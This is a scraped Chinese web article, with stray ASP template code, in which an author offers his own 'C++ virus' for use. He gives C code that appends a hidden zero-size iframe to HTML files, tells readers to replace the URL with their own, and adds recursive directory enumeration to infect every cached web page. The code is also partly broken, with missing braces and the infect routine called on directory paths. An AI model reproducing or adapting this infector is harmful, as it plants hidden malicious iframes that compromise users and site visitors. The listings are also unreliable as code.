<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("“病毒”“程序”") PageTitle=stripHTML("程序员一只,献丑贴上自己写的C++病毒代码") ArticleIntro=stripHTML("简单介绍c++病毒的工作形成模块,其实病毒不复杂,病毒就是模块化功能的集成。你需要实现什么功能就加什么功能的代码进去") Articlecontent=stripHTML("  言归正传,相信大家对病毒应该都不陌生吧。那么你一定听说过文件感染,其实非常简单以下是代码片段:#include <stdio.h>#include <str…") ModuleName = stripHTML("programme") InfoID = stripHTML("195738") ChannelShortName=stripHTML("编程") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("programme") %> 程序员一只,献丑贴上自己写的C++病毒代码 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 编程 >> C语言 >> 正文

[图文]程序员一只,献丑贴上自己写的C++病毒代码

2015/4/2 作者:佚名 来源: 华盟整理
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>
 
言归正传,相信大家对病毒应该都不陌生吧。

那么你一定听说过文件感染,其实非常简单

以下是代码片段:

#include <stdio.h>
#include <string.h>
int ganran(char *filepath) //感染函数

        //要写到文件内的数据
        char url[]="\r\n<iframe src=****://***.baidu.com/test.htm width=0 height=0></iframe>"; 
        FILE *fp; 
        fp=fopen(filepath,"rb+"); //打开文件
        if(fp==NULL) 
        { 
                return 1; 
        } 
        fseek(fp,0,SEEK_END);//移动到文件尾部
        fwrite(url,sizeof( char ), strlen(url), fp ); //写入数据
        fclose(fp);//关闭文件
        return 0; 

int main(int argc, char* argv[]) 

        if(ganran("h:\\ok.htm")) 
        { 
                printf("Inject Error\n"); 
        }
        else 
        { 
                printf("Inject Ok\n"); 
        } 
        return 0; 

上面的代码我加了注释,关键函数就是int ganran(char *filepath)。上面的代码只是模拟感染 h盘的 OK.HTM文件 使用的时候把代码中的URL改成自己的就行了,如果你病毒有兴趣的话可以自己写一个框架然后把把上面的功能加进去就可以了。
其实,如果你学过C语言的文件编程,你会感觉上当,这也要叫病毒
我告诉你没错,它就是病毒病毒也是程序,其实病毒的代码都很专用,不会长篇累牍。


但要发挥它的威力,比如感染硬盘上的所有缓存网页
那需要能枚举目录内的文件,下面我们看一下如何枚举目录:
#include <windows.h>
int EnumDirectory(char *dirpath) 

        WIN32_FIND_DATA fd;
        HANDLE hFind;

        char szTempFileFind[MAX_PATH] = { 0 }; 

        int bIsFinish = 0; 

        ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); //内存初始化

        sprintf(szTempFileFind, "%s\\*.*", dirpath); 

        hFind = FindFirstFile(szTempFileFind, &fd);//系统函数-查找文件

        if (hFind == INVALID_HANDLE_VALUE) 
        { 

                return 0; 
        } 

        while (!bIsFinish) 
        { 
                bIsFinish = (FindNextFile(hFind, &fd)) ? 0 : 1; 
                if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0)) 
                { 

                        char szFoundFileName[MAX_PATH] = { 0 }; 
                        strcpy(szFoundFileName, fd.cFileName); 

                        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
                        { 
                                char szTempDir[MAX_PATH] = { 0 }; 

                                sprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName); 

                                Sleep(10); 

                                ganran(szTempDir);//进行感染

                                EnumDirectory(szTempDir);//递归调用
                        } 
                } 
        } 

        FindClose(hFind); 
        return 1; 

编程栏目相关内容

    没有相关编程